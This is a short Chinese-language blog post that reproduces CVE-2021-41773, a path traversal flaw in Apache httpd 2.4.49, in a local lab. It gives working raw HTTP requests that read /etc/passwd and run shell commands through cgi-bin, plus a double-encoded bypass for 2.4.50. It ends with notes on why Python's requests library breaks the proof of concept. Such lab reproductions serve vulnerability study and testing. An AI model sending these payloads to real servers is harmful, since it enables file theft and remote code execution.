CVE-2021-41773 Apache Httpd Server 漏洞復現
0x00 寫在前面
很久沒寫水漏洞復現的文章了,水一篇。
0x01 漏洞簡介
是目錄穿越文件讀取漏洞,漏洞只影響2.4.49,2.4.50不完全修復可繞過,如果開啟mod_cgi
可RCE
詳情可參考下面鏈接
https://twitter.com/h4x0r_dz/status/1445384417908862977?s=20
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
0x02 漏洞復現
這里用的https://github.com/blasty/CVE-2021-41773項目起的環境
文件讀取
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
RCE
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/plain
Content-Length: 8
echo; id
2.4.50版本暫未復現,payload中目錄穿越部分換為.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65
即可
0x03 poc編寫
主要記錄下寫poc時踩的坑,本人用的python3.9.6 一開始用的requests庫,但是發現requests庫在發送http請求時會自己先對url進行處理,而不會直接將我們在腳本中寫好的url直接發過去。
部分源碼如下:
報錯如下:
而burp發過去就是很正常的,最后查看日志時發現了問題
error.log:
access.log
結果:burp傳過去在log里看是有url編碼的,requests過去的在發送前已經先做了一次urldecode
這里沒有debug跟源碼,用urllib.request作為請求庫就解決了